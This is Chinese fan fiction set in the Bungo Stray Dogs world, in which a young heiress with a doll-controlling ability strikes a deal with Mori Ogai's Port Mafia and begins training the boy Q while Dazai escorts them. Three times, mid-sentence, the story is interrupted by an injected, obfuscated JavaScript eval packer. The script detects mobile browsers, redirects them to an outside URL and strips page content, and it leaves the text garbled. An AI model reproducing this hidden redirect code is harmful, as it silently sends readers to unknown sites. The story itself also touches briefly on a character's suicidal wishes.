《在森氏当大小姐是否为消费降级》 1. 一颗宝石 “请跟我来,小姐正在享用下午茶。” 管家用眼神吓退想上前阻拦的侍女,在面前精美干净的水波纹玻璃门上,毫不留情印下形状扭曲的指纹。 原本被玻璃装载在背后的光亮慷慨地洒在几人身上。比光更耀眼的,是正端着茶杯的女孩—— 浅金发丝混着轻微的淡粉,在阳光下散发着柔和光芒,彩粉色的钻石镶嵌在瞳孔中,点亮了东方温婉与西方深邃的混血长相。 是刚满11岁的柔嫩枝丫,米白色长裙将青涩与圣洁揉成一团。 即使是认为会被优秀皮囊引诱的人很令人作呕的太宰治,在这一刻也必须承认,造物主的鬼斧神工之作值得所有人多片刻倾心。 被打开的好似是直通天国的大门。 “咳、咳。”阅历丰富的广津柳浪先一步回神,装作清嗓子唤回太宰的神志。 少年稳住心神,把视线从女孩身上移向周围布景,又是一场视觉盛宴。 是一大片五彩斑斓的绿色。 地上的草叶与鞋面齐高,散落其中的野花任由生长不去打理。墙角是一丛丛错落有致的长杆鲜花,围墙被藤本月季和木香肆意占据。 手工打造的素色宫廷风桌椅摆在花园中心。女孩对面坐着一只裙装玩偶熊,身后是可一人环抱的落叶树,刚换的新叶,在微风中沙沙细语着。 哪个角度都是梦幻,管家带着他们二人闯进了一场应该只存在于童话书中的森林茶话会。 没等管家介绍,端坐着的女孩先一步放下茶杯,手帕点擦唇瓣后开口: “惠美。” 叫的是管家的名字。 被春日之神克洛里斯亲吻过的嗓音如轻柔和缓的暖风从耳边拂过,即使在生气也透着慈悲,不容置喙的力度浑然天成。 管家低头,眼中压抑着深沉的妒忌,话语中仍带恭谨: “小姐,这两位是森氏株式会社的高管,已提前递了拜帖,就放在您的书桌上。” 看似严密的流程让女孩的唇角露出一抹笑意,“呵”。 “你的意思是,我漏看了?” 和煦的语调却把管家的气势砸弱几分,不等她辩解,女孩吩咐: “玲月。” “是。请跟我来。”站在门口的侍女即刻上前,带两位客人先去会客厅。 在太宰治彻底转过身的那瞬,玻璃门也缓缓全然关闭,美梦般的场景如浪潮拍打而来,又慢慢消退。 “啪!” 突然响起的清脆一声又让少年停住脚步。 “先生,会客厅在这边。” 侍女的催促中,太宰治右手攥拳抵在唇上,抑制住发自喉咙的笑意,再抬起头就变回正经模样跟上侍女的指引。 —— 这是一场有些鲁莽的到访。太宰治想。 历史悠久,涉足多个领域,国内外均有产业,轻松便可撼动霓虹经济发展的四大财阀之一——东久世家族,远不是现在的港口Mafia能够攀谈上的。 多亏东久世家族下一代唯一的继承人,东久世琉璃身边出现了个吃里扒外的叛徒。 新上任的管家是个没有职业操守的关系户,连最基础的白手套都能忘记穿戴,信息传达也做的马马虎虎。 为了能一次性到手大量钱财就出卖了自家小姐的异能力情报,使得港口Mafia的现任首领——森鸥外有了找东久世家族谈合作的渠道和强大动力。 看来森先生与某家主的跨洋电话聊得顺利,要不然也不会派他和老爷子来接一无所知的琉璃小姐回组织洽谈。 就是不知道这位小姐有多难搞定了~ 想起刚才那声脆生生的巴掌,太宰治的喉咙又忍不住泛起痒意。身子懒散地倚靠在复古风皮质沙发上,被广津往上拽了拽,提醒他的少年领导注意坐姿。 平时就算了,这个家里的每一处装潢和侍女的专业程度都不禁让广津变得更加优雅,拿出这么多年的教养做到茶杯放下的角度都与教科书一丝不差。 这地毯,这吊灯,这桌子上的木质纹路,富有格调的同时价格都够装修好几个森首领的办公室了! 金钱的力量,还是腐蚀到了老爷子成熟的灵魂。 半个小时过去,不知道是用在挑选服饰还是教训管家,东久世琉璃换了一身可外穿的会客长裙,丝毫没有被外人注视的不自然,坐到二人对面。 “我的情况就不用多介绍了吧。” 出乎预料,女孩的表情没有半分波动,只很平静地接受两个不速之客的到访,猜到他们看过她的资料,先发制人。 广津习惯性要帮自己爱偷懒的上司开口,却被兴致起来的太宰治抢了先手, “久闻贵家族的大名~,在下太宰治,这位是广津柳浪,任职于森氏株式会社。” “我们社长已与令尊达成合作意向,现特命我们前来邀请您移步我社,进行细节方面的洽谈。” 太宰治没跷二郎腿,穿戴整齐还没缠绷带,挺直胸膛,一脸正色,如绅士般开口,行云流水的套话听得广津柳浪热泪盈眶。 他的领导终于有点当领导的样子了! 琉璃不紧不慢追问:“什么领域的合作?” “异能力的领域。” 眸中带上戏谑,太宰想看对面如天使般不染纤尘的女孩,见自己私密信息泄露后的慌张。 但他注定失望。琉璃面色不改,连睫毛都没多颤一下,继续追问: “需要我的异能力做什么呢?” “......这,在下就不好说了,还请您与我们社长商谈。” 没收获到想要的效果,少年瞬间失去兴趣,又要像个没骨头的人一样瘫倒下,被身旁的广津眼疾手快捞起,开口补救: “具体的事项还是社长更清楚,我们不过是负责接送您。” 可能是心疼白胡子老人,琉璃没再多问,只带一个贴身保镖就上车跟他们走了。 一路上没了广津柳浪控制,太宰治却也没作妖,只是烦闷看向窗外,好像在尝试通过车窗的映像把女孩装进自己鸢色的眼眸。 在琉璃下车前他又调好心态,妥帖拿出黑色斗篷: “在我们这个地界,还是谨慎些好~” 从善如流接下斗篷,琉璃穿上后下意识摸索,手指溜进一个暗兜。 一个硌手的小型窃听器在她的指腹间转了一圈。 不知道想到了什么,琉璃真心实意笑了一下,舒展的眉眼让少年再一次愣神。 “谢谢你的提醒。” 手指一松,窃听器自然落回兜底。女孩只在心里念叨着有趣: 这家公司真是有意思,首领和员工竟然互相防备吗? 电梯一层层往上,斗篷被保镖收拢在胳膊上,琉璃孤身进入令人闻风丧胆的港口Mafia首领的办公间。 世上又多一个被美貌硬控住的人。 偌大的空间里只有琉璃、森鸥外和另一个金发女孩。琉璃懒得等待他人服侍,亲自动手拉开座椅,入座长桌的另一端。 双手交叠放于腿上,通透的粉色瞳孔不动声色打量着从没接触过的黑恶势力首领,语气轻松: “感谢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17454000|201193||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 森首领愿意陪我演这场戏了~” 是的,刚才的一切所谓不知情,都是琉璃托森鸥外陪她演的一场戏。 在管家面前。 早川惠美是上一任管家的外孙女。 老管家几乎一辈子都奉献给了东久世家族,对于琉璃更是从小看护到大,但她自己的家庭可以说是一踏糊涂。 父母给老管家定下的丈夫只会在人前装个人样,既无能力,脾气还暴躁。 好不容易生下的女儿控诉她陪伴不够,谈了个黄毛离家出走,几年后回来把孩子扔给她带,没过多久又摇身变成有钱太太,说要带自己的孩子享受最充足的爱和物质条件,接走了孩子。 这些经历一直是扎在老管家心里的刺。多年后,落魄的外孙女带着信物找回来向她借钱,可老管家已经病入膏肓,只能把她托付给了琉璃。 老管家的事业心和家庭上所有的不如意混杂在一起,变作沉甸甸的爱供养着琉璃长大。所以琉璃听从了老管家临死前的胡言乱语,让她的外孙女空降成为下一任管家。 新手上任,琉璃接受犯错,接受不够尊敬,甚至接受早川惠美拿着高额的工资不干活。 但她不能接受距离她最近的岗位上,是个吃里扒外的叛徒! 对于不忠心还必须留下来的人,琉璃要在早川惠美最开心的时候夺走她的一切,在她情绪最高涨的时刻把她压进泥土里好好认清现实,削掉她的傲气。 越愚昧的人越敢做梦,触碰到东久世家族更是让早川的妒忌与狂妄呈指数膨胀,忘了自己的位置,蹬鼻子上脸还要反咬主人一口。 可她卑躬屈膝对着的黑.手.党首领,得到消息后都不敢直接把琉璃抓过来。收到了东久世现任家主的同意,才敢进行下一步操作。 琉璃也是提前接收到了父亲的讯息,在会客厅多聊那么几句就是为了把戏演得更真一点。 森鸥外:“…您客气了,举手之劳。” “百闻不如一见,辛苦琉璃小姐迁就我的身份移步寒舍了~” 他没查到任何一张东久世琉璃的正面照,虽然了解到女孩的面容美得不像人,但还是被美丽突击了。 每一根发丝都是天然打造的华丽,周身自带柔白光晕的气场,从小养成的一言一行更是由内而外散发着贵气。 森鸥外脸上的笑都少了些客套,发自内心觉得女孩的到来真的让阴沉的港.黑蓬荜生辉了。 演戏什么的不过是做个顺水人情,本来那笔钱给出去后他们也是要抢回来的。 名声、钱和大小姐的情报,他全都要。 现在还能通过这件事先跟大小姐先达成一次合作,稍微抹去他购买情报的污点,何乐而不为呢? 琉璃却不想简单揭过这件事: “怎么会是举手之劳呢?森首领为了我的事连自己最信任的手下都瞒着,让这场戏得以圆满,当的住我这一声感谢~” 看似真诚的道谢埋了两个雷点,要么是森鸥外不够信任自己的下属,用人还疑人;要么是森鸥外派了两个无足轻重的小喽啰去接东久世家的大小姐,不够尊重。 但琉璃表面上语气真挚,没有质问,说明这段话的重点也不在雷点上,而是隐藏在“当的住”中的对自己身份的强调。 她在提醒森鸥外,凭她的身份地位,是不允许被随意对待的。 创业初期,森鸥外忍了,“哪里哪里,能帮上琉璃小姐是我们的荣幸~” “哈哈哈……” “呵呵呵……” 一大一小两只狐狸对着笑,却是越装越自然了。 2. 两颗宝石 寒暄到此结束,森鸥外直截了当: “偶然得知琉璃小姐拥有可以操纵玩偶的异能力,刚好我们这边有个孩子的异能力与玩偶有关。他年龄尚小,无法驯服,希望能借您之手帮助他适应他的异能力。” “至于我们能给出什么,都在这份文件里了,请您过目。” 身着红裙的金发女孩靠近,给琉璃送来了文件。 知道女孩是森鸥外的异能力,琉璃接过文件翻阅,心中却在分析: 看来这位新上任的首领是个爱怀疑人的性格,还没有真正的心腹,用自己的异能力更加顺手安心。 而这份合同具体能给东久世家族带来什么好处,不过是组织还处在发展期的森首领给他们描绘的蓝图。 说要成为东久世家族黑暗里的手,图谋些更大的利益。 先不论东久世到底缺不缺像这样的黑手,前期怎么看都是个扶贫项目。 但“地下异能力组织”这个头衔确实对他们又多多少少有点吸引力。 也只有这个头衔对他们,不,是对琉璃有一点吸引力了。 至于是大是小全看琉璃的想法。 她的家主父亲把决策权交到她手里。与这种程度的组织合作,仅凭她的喜好做决定就可以了。 琉璃把资料放回桌面:“不让我先见见那个孩子吗?” “当然~” 森鸥外按下长桌下的呼叫铃,下一秒大门从外打开,黑发少年拉着个孩子的手腕走进来。 第一步是走,后几步孩子就是纯被太宰治拎进来的。 门开后的第一眼,男孩的眼神就被神秘力量牵引到琉璃身上,吸附住了。 之后就张着嘴巴发愣,眼睛都忘了眨。一只眼睛里装着星星形状的瞳孔,两只眼睛都往外冒星星,完全是被蛊惑的模样。 琉璃也同样在打量着男孩。 梦野久作,代号Q,5岁,有着特殊的瞳孔和半黑半白的头发,曾在一家医院用异能力引发大规模暴动,由上一任港口Mafia首领派人捉拿,关押在组织内,却难以利用其异能力。 是块还未被教养开发的原石。 太宰治料到了男孩的反应,看着差一点要流出口水的孩子十分嫌弃,却也不能把手挪开。 目前只有他的异能力可以压制男孩,只好努力无视,装作毕恭毕敬的样子低头叫了一声: “首领。” “嗯。” “好久不见了,Q~” 爱丽丝特意绕到太宰治不在的那一侧接近梦野久作,伸手揉了揉男孩的脑袋,飞速从孩子怀里抽走玩偶,递给琉璃。 森鸥外说明:“只要破坏这个玩偶,伤害过这孩子的人的大脑都会陷入精神错乱,无差别攻击身边人。” “我明白了。”琉璃用手帕包裹着玩偶从爱丽丝手里拿起。 一个惊悚风格的玩偶,较大的头部,夸张的黑色圆眼,露着尖锐牙齿的嘴巴,脖子和头顶还缠着绷带。 真是一个丑孩子。琉璃暗自点评。 也算森鸥外找对了人。 她的异能力「过家家」就是可以控制接触过的玩偶,让其四肢灵活行动,甚至可以有自己的思想感情。 玉白的手指轻轻点在玩偶的额头上,感觉像是穿透了一层薄薄的屏障,没用几秒玩偶就甩甩手动动脚,从手帕上站了起来。 张开大嘴无声大笑着,玩偶高举着手臂环绕着跑了好几圈,才安分坐在桌面上盯着琉璃犯花痴。 “黑洞?!” 大脑重新转动的梦野久作惊讶看着这幕,叫出谁也不知道的,他无聊时给玩偶起的名字。 爱丽丝:“欸,它有名字了吗?是因为之前送给你的宇宙杂志?”没想到随手塞过去的无趣杂志真的被看了。 只有她注意到了这一点。 不等梦野回答,无情的森鸥外又让太宰治把孩子带下去,独留玩偶在琉璃的控制下跑步,转圈,做俯卧撑,蹦蹦跳跳,纵享丝滑。 “您的异能力真是强大呢,这么快就控制住了Q的玩偶~” 在森鸥外的吹捧下,琉璃歇了继续玩的心思, “这不算什么吧?您的那位下属,手不是一直按在那孩子身上吗?” 到底是什么样的能力可以控制住梦野久作的异能力? 虽然暂时没查到确切情报,但琉璃也推测出了太宰治的异能力应该类似于无效化。 一种橡皮擦式的假控。 如果是真的能操控,也不用找她合作了。 说起来明明有个人的异能力比她更合适——横滨武装侦探社的社长异能力名为「人上人不造」,可以帮助自己的社员调整异能力的力量。 就算社长跟森鸥外不对付,为了和平,社长也应该愿意用自己的异能力来帮助男孩。 可相应的代价就不是森鸥外愿意支付的了。 琉璃知道,眼前的这位首领可不是慈善家,而是黑到骨子里的野心家。 而与虎谋皮,是东久世琉璃必须擅长的事情。 “具体情况我都了解了,我,东久世琉璃,接下了这份合约。” 琉璃直直看进森鸥外晦暗不明的眼睛: “是我接下的合作,便由我来签订。不放心可以单独出一份监护人合约发送给我的父亲。” “合作愉快,森首领~” —— 并不是任人摆布的小小姐,东久世琉璃展现出的气场让森鸥外之前的猜想都烟消云散了。 在大众认知中,东久世家族最出圈的不是地位与实力,而是现任家主与异国姑娘浪漫缱绻的爱情故事。 据说风华正茂的家主去国外谈合作时邂逅了一位俏丽的法国姑娘,被丘比特一箭射中心脏,费尽心思轰轰烈烈地追求,才终于得到美人的点头。 浓情蜜意的恋爱时光,盛大豪华的订婚仪式与婚礼,东久世家主亲手浇灌出一朵娇艳欲滴,连不要孩子这一点都同意了。 要知道在他还没成年时他的父母就在车祸中去世,他是家里的独苗,如果没有后代相当于是把企业直接拱手让人。 一位有权有势男人的誓言大多靠不住,但东久世家主践行的让人挑不出错处来……除了那个意外到来的孩子。 在旁支们摩拳擦掌准备抢“皇位”的时候,夫妻俩意外有了孩子。因为女方体质原因不适合打胎,只能请最好的疗养师一直陪护到孩子生下来。 一个不在计划内的孩子,再怎么安静乖巧也会对母体造成不愿意承担的影响。 所以东久世琉璃自出生起就被独自扔在霓虹,是一个因爱情被抛弃的小可怜虫。 她的母亲不想看见她,她的父亲更是依着她的母亲,一直待在国外开辟海外市场。 森鸥外还以为琉璃是被冷落的,没什么实权的大小姐。 原来大小姐无论怎样都是大小姐。而且这样美丽聪颖的孩子,她的父母真的不喜欢她吗? 为表重视,森鸥外要亲自带琉璃去为她准备的住处。出了大门,太宰治和梦野久作还等在门口。 “…辉夜姬!” 不是刚才那样痴傻的样子,梦野虽然还是被美的不知天地为何物,但已经敢出声搭话了。 他用自己知道的最美丽的词汇来形容琉璃,感叹完才想起自己的玩偶还没要回来, “我的黑洞呢?” “是琉璃小姐哦,Q。小孩子要讲礼貌啊~”森鸥外眯笑着眼睛纠正,伪装成慈父做派想摸一下梦野的脑袋,却被孩子下意识躲开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17454001|201193||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 男人的手臂在空中画了个椭圆,自然收回,半点不见尴尬。 琉璃捡笑话看,突然跟一直面无表情观察她的太宰治对上眼神,不甚在意地挪开视线看向梦野久作, “在那里。” 在大门还没完全关闭的缝隙,大眼玩偶费力地把门缝再推大一点钻出身子,小跑着过来,路过梦野的时候看都没看一眼,跑到琉璃的裙摆边才猛得刹住脚步。 “看来它不想跟你走呢。” 任由黑洞在自己旁边耍宝,琉璃只是看着这个轻易就失去自己最亲近之物的男孩, “从现在开始,试着从我身边抢回它吧。” 训练从现在开始。 “......你的苦日子来喽~” 女孩渐渐走远,太宰治对着正在酝酿泪水的梦野久作恶劣地说。 那个女孩根本不是什么皎洁的人物,也没有哪个童话里的公主会如此恶趣味。 现在回想,与他和老爷子独处时一切都显得游刃有余,女孩一定提前知道了什么,在出卖她的管家面前演戏,想在管家最得意的时候给她重重一击。 还当着他的面发现窃听器,装回口袋却又把斗篷留在门外。 这个看着美好端庄的人实则恶劣至极,绝非善茬。 在心里恶狠狠吐槽着,太宰治没发现自己逐渐上扬的嘴角,眼睛里闪烁着对未来生活星星点点的雀跃期待。 犹如一潭死水的生活要掀起波澜了。 —— 琉璃的专属空间距离首领办公室不远,就在最顶层的下一层,那一整层。 为了私密性和安全性考虑,在驯服异能力期间女孩最好待在港口Mafia内部,减少出门。森鸥外特意整理出这一层的空间来娇养这位大小姐。 琉璃看着紧赶慢赶出来的粉嫩少女风装修,没多评价,只站在巨大落地窗面前提出了她的第一个要求: “我要抱着自己的玩偶熊睡觉,辛苦您派人去接一下了。” 森鸥外:? “啊,玩偶熊啊,那是很重要了。”顺着琉璃的话说着,森鸥外越说越觉得离谱。 刚刚气定神闲跟他聊完合作,现在跟他说这个?......果然还是个11岁的小孩子嘛。 “需要我的女儿爱丽丝来陪伴您吗?” “那就不用了。”琉璃拒绝的快且笃定。她可没有抱着别人异能力睡觉的爱好。 “麻烦再送一个水盆过来。” 琉璃垂下眼睫,看向在自己身边一丝不苟站岗的黑洞。 也不知道跟着梦野久作过了多久的苦日子,看着脏兮兮的还有股淡淡的血腥味,她要控制这个孩子认真给自己洗洗澡。 这边氛围融洽,另一边的太宰治却实在受不了了。 他全程把手放在梦野身上抑制孩子的异能力,还要听他抽抽搭搭小心翼翼地哭,烦死了! 刚刚是他配合琉璃装了个×。如果不是他在控制,男孩完全可以把玩偶召唤回自己身边。 只要不是被人紧紧抓在手里钳制住的状态,都可以进行召回。 虽然极大可能是,召唤回来后梦野还是切断不了玩偶与琉璃的链接,但也算是当场掀翻了琉璃的话,打了大小姐的脸。 他太宰治也算是成全了大小姐的装×效果。现在他累了,他要下班了! 太宰把梦野送回地下监狱,松开了自己的手。 见这个孩子还是只顾着伤心,要出监狱的脚步又倒退回来,开口提醒: “我要走了哦,记得自己管住自己,我走了就管不了你的异能力了哦~” 这孩子什么时候能想起来把玩偶叫回自己身边,好好落一下那个优雅大小姐的面子! 急! 3. 三颗宝石 刚开口要了个盆,黑洞就在两人眼皮子底下消失了。 仅用几秒森鸥外就明白发生了什么事,抬眼去看琉璃的脸色。 脸上竟然没显现出惊讶或是恼羞成怒的表情,只是手指攥紧,语气中飘出几分怒意, “水盆麻烦送到那孩子那里,明天带着来见我。” “我亲自看着他,仔细给黑洞洗个澡。” 梦野久作是那个孩子,玩偶却叫名字吗? 森鸥外知道其中有太宰的手笔,但不说。心下不厚道地可怜着Q,也没忘了正事, “您的玩偶一会儿送到,明天我安排了专人来向您介绍组织,今天就不过多打扰了。” 琉璃点头表示了解, “对了,明天港.黑可能会比较热闹,也请您多担待了。” 看来是对装修不够满意了。森鸥外理解,却不免强调几句: “有什么要求都可以跟我的属下说,会尽我们所能满足您的,不用客气~”要是都让东久世家的人自己来才麻烦,别动静太大被人盯上了。 琉璃:“感谢您的慷慨,我会的。”如果让港口Mafia来承担她的全部开支,不用起步这个组织就可以宣告破产了。 她敢安排人做事当然是有信心不被别人发现。在外界,她也不想跟这个没名没分的黑色地下组织有明显牵扯,别什么利益都没得到先坏了东久世家的名声。 而且她说的不止这点事。 琉璃也不说破,只微笑着目送森鸥外离开她的地盘, “麻烦您了,祝您今晚有个好梦~” 毕竟明天就要格外忙起来了。 “谢谢,也祝您晚安~”森鸥外站上电梯,爱丽丝也活泼地朝琉璃挥手道别。 客套完这最后一句,他这个首领也该回去加班了。 还得是爱丽丝能陪在他身边,当他的贴心小棉袄~ 不用再装正经人,森鸥外伸手把身边的女孩举高高, “辛苦爱丽丝又要陪爸爸加班了,这样吧,奖励一件新裙子怎么样~” 爱丽丝变了在琉璃面前的明媚表情,手掌狠狠怼在森鸥外脸上,挣扎着让男人放自己下来, “是你自己喜欢小裙子吧,森太郎!你自己怎么不穿呢!” “可是我穿起来没有爱丽丝好看呀~” “…少说废话了,加班狗不配去逛街!” ...... 把西装外套的纽扣解开,袖子也脱下,太宰治才觉得自己呼吸到的是不受拘束的新鲜空气。 没等他把绷带缠到眼睛上,森鸥外就又联系他去给大小姐送东西。 他不过是找森鸥外要一瓶能无痛死亡的毒药,怎么附加条件这么多? 嘴上抱怨着,少年还是麻利接过东西。两个大号的防尘袋,一个里面装着衣服和日用品,一个装着个半人高的玩具熊。 看不清楚里面的样子,只有丝丝缕缕的香气从拉链的缝隙处透出来,跟女孩身上的淡雅清香别无二致。 “…熏香吗?” 太宰治搭乘首领专属电梯来到琉璃的空间,没看见侍女,走到卧室门外发现门被反锁住了。 不轻不重敲了两下,“大小姐,您的东西到了~” 等了三秒无人回应,被迫加班的烦躁感就一跳一跳地催促他发动横滨开锁王的功力,直接把包裹放进房间了事。 “不交到手上也没关系吧,放在门口又有什么差别?” 正碎碎念着,“咔哒”一声门锁扭回,门从里面打开。 光源和清香一起从门缝处溢散出来,逐渐扩大,女孩逆着光出现。 “麻烦你了。”琉璃伸出手臂。 恍惚间太宰好像看见一个等人高的玩偶在向他张开双臂,等着他钻进软绵绵的怀抱中,消除日复一日熬夜早起累积的疲惫, “…那肯定很舒服了。” “太宰先生在说什么?”声音小的像是幼猫在打呼噜。 琉璃上前半步想拿走包裹,但少年也跟着她的动作后退半步。 琉璃:? “这是?” “啊,加班太久脑袋有点转不动了,给您~” 这个时候也不忘突出一下森鸥外对员工的压榨,太宰治笑盈盈地把包裹递上,却有东西在包裹里挣扎,带着他重心不稳摔倒在地上。 “噗通!” “安娜!” 玩偶熊瞬间僵硬了动作,又用粗短的手灵活地从袋子内侧拨开拉链,通过开口悄悄往外张望琉璃的反应。 也让太宰治看见了玩偶那双湛蓝深邃的眼睛。 矢车菊蓝宝石?......不确定再看看。 琉璃在这方面不惯着这个调皮的孩子,轻轻踢了一下包裹,“出来道歉。” 玩偶熊利索地从包裹里爬出来,正了正自己的睡帽向太宰鞠了个90度的躬,讨好地蹭到琉璃身边却没有贴上衣物。 这是琉璃外穿的衣服,而它是琉璃的陪睡小宝贝,可不能把自己弄脏了~ 太宰治看清楚了,是皇家蓝宝石。最近一直在恶补这方面的知识,打盹的时候才能在梦里摸到真品。 用这种等级的给玩具熊当眼睛,真是富贵到他了。 从地上捡起外套,太宰随意拍了两下搭在胳膊上,向琉璃告别。 不清楚是因为玩偶熊,还是琉璃,他总觉得自己已经被那股温馨的味道腌入味了。 “得好好洗洗。”无论是衣服还是人。 太香,太......恶心了。 “要不直接去入水吧~” —— 时间卡得刚刚好,琉璃洗漱完从房间里出来,正好接收到东久世家族霓虹事业责任社长——松本健川的会面申请。 人其实已经来了有一会儿了,先去森鸥外那边确认了一下合作内容和后续安排,再掐着时间来拜访琉璃。 健川:“辛苦您照顾我们家大小姐了~” 森鸥外:“哪里哪里,职责所在罢了~” “哈哈哈……” “呵呵呵……”森鸥外的脸要笑抽筋了。 熬了个通宵,一大早又对上一只笑面虎,什么美丽心情都是强装出来的。 这就是琉璃昨天说的热闹?在他的预料之中,但不在他预料的时间之中。 这一大早的,难不成也没睡吗! 东久世家族一直有做慈善的习惯,尤其是资助一些小地方的教育事业。眼前的这位统管东久世家霓虹业务的社长,就是这样从偏远地区走到大城市,一步步从底层升上来的。 不可小觑,现在完全没了乡土气息,说话游刃有余,圆滑还藏着尖刺。 如果琉璃没出生,估计霓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17454002|201193||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虹这边的事务会是他倾尽后半生耕耘的辉煌。如今对着身为变数的大小姐这么上心,是真的忠诚,还是伪装? 森鸥外又在大脑里上演阴谋论。 现在唯一能确定的,就是他请了一尊大佛到港口Mafia,不用心照顾就等着被制裁吧。 会面申请被批准,松本健川就是想看看琉璃的生活环境和精神状态。 不用琉璃开口,他自己拿足了生活助理的架势,把充满性别刻板印象的装潢从上到下挑了顿刺,还在琉璃的同意下坐上床垫感受软硬,记录好所有意见,着手找人来换装修。 就算是只住一两天,大小姐也应该拥有最舒适的享受,像在自家一样惬意! 健川:“家庭教师已经在陆续更换,今天的课程可以照常。” 因太容易引起骚动,琉璃的小学生活基本在家里度过,只时不时去一次学校。 现在来到这么个吃人不吐骨头的环境,也得换一批抗压能力强的老师。 琉璃表示了解,送走了松本健川,刚要开始新一天的课程,又迎来了太宰治和梦野久作。 水盆很大,足够装得下梦野久作,只能让太宰治拿在手里。 他昨夜入水不过几秒就被部下捞出来了,说是森鸥外的命令,不能耽误第二天带梦野去见琉璃。 太过分了!看在森鸥外正在为他研究新型药剂的份上他忍了,拿着盆带着孩子来找琉璃负荆请罪。 “对不起,琉璃姐姐~”很没骨气的一款孩子,还沾点儿得寸进尺。 抱着玩偶的梦野久作记吃不记打,屁颠屁颠就想往琉璃的方向跑,被太宰拽住了后领。 暂时屏退了老师,琉璃没计较孩子过于亲密的称呼,让太宰把水盆放到地上。 梦野久作怀里的玩偶也瞬间启动,从孩子臂弯里挣脱出来打着后空翻就落进了盆里。 “从今天开始就由我来帮助你驯服你的异能力。” 琉璃半蹲下身子,近距离对上孩子稚嫩的脸, “第一个任务,把玩偶洗干净。” 梦野久作:“……啊?” 意识眩晕了几秒,他本能解释:“它是异能力玩偶,不会脏的!” 但琉璃不听解释。 “我说脏就是脏的,做到听话不难吧?” “伙伴要懂得爱护,自己亲手洗干净。” 在她身边待着不说香喷喷,起码要做到干干净净。至于怎么样算是干净,她有自己的评判标准。 当然,打了个巴掌要给一个甜枣, “洗好了,中午可以单独给你准备一份喜欢的甜品。” “甜品?”梦野没有什么特别偏好的,但是听到“甜”就觉得很好吃了。 洗的是自己的玩偶,甜品也是给自己吃的,他纯赚! 没有讨价还价,男孩问了方向就拖着水盆去接水了。 太宰治都被如此好说话的梦野久作惊讶到了。不用武力威胁就可以这么听话?这么小的孩子就见色忘本啊? 默默吐槽的少年也没有被大小姐放过,“还请太宰先生看着那个孩子,我先上课了。” “我的荣幸~” 这句回应顺嘴到太宰治都想抽自己一嘴巴。 醒醒!他长的也不差啊!…还是照镜子照少了。 得赶快适应那副超脱世俗的容貌! 4. 四颗宝石 太宰亲眼看着梦野久作费劲儿拖着水盆进入洗手间,盆里的玩偶也没有要帮忙的意思,安然坐着让自家主人给自己当雪橇犬。 男孩拧开水龙头,喷薄而出的水流把黑洞吓了一大跳,赶紧蹦出水盆躲到主人身后。水流大力敲击盆底飞速向外迸溅,打湿了男孩的衣服。 站在门口的太宰治嘲笑得大大方方。梦野久作瘪着嘴巴,踮脚去把水流拧小。 “太宰先生!…洗衣液在哪里?”孩子只能暗戳戳通过大声呼唤名字来发泄自己的不满。 黑洞也没嫌弃水凉,试探着浮在水面上开始仰泳。 太宰挑眉,没想到这孩子还知道要用洗衣液,四处翻了翻,在洗手台下面的柜子里找到了。 还有一堆别的瓶瓶罐罐,都是保洁必备的东西。 这才不到一天东西就已经置办的如此齐全,有够快的。 看梦野倒多了洗衣液太宰也不提醒,结果洗着洗着一人一玩偶就开始玩泡泡浴了。梦野久作身上全是水和泡泡,还四处甩,看着比玩偶更脏。 这个样子就算洗好了也不能带出去见大小姐。太宰治用电话联系下属送来干净衣服,拎着梦野久作就放到淋浴间的喷头下,打开热水。 “好烫啊!”孩子娇嫩的皮肤经不起过高的水温,太宰又调了调,才搞定这个折腾人的小鬼。 水盆也被他搬进淋浴间。 “就在这里洗,你们俩一起,速度!” 少年黑沉的脸色让对面的身子全都一颤,乖巧地在水流下冲洗自己的身体。 没有看小孩洗澡的爱好,太宰治啧了一声守在门口打游戏。 孩子真的,听话也烦! —— 收到太宰属下送来的衣物,琉璃有些好奇怎么洗着洗着孩子把自己也给洗了,中断课程来了洗手间。 一眼就看见正蹲在地上玩手机的太宰治。 一截被水浸透的白色绷带被随意扔在脚边,如竹节般骨感的苍白手腕自袖口露出。肩膀上的黑色外套里也不知道藏了多少水渍。 落魄的美少年模样,也没有激起琉璃的半点怜悯。她只看到了一个玩忽职守的手下。 都走这么近了,还敢当着她的面打游戏,是在挑衅她吗? “结月,你进去看看。” “是。” 琉璃出了声音,太宰治才好像刚刚发现她来了,慌乱地收起手机站起神,对着女孩讨好地笑:“您来了~” 进入琉璃的耳朵自动翻译成:您怎么来了?(阴阳怪气版) 看来比起里面的梦野久作,这个被派来辅助她的少年更需要她用些手段。 琉璃:“太宰先生的衣服都湿了,也去换一下吧。” 太宰:“不行呢,我还得看着Q。我不在会出问题的~” 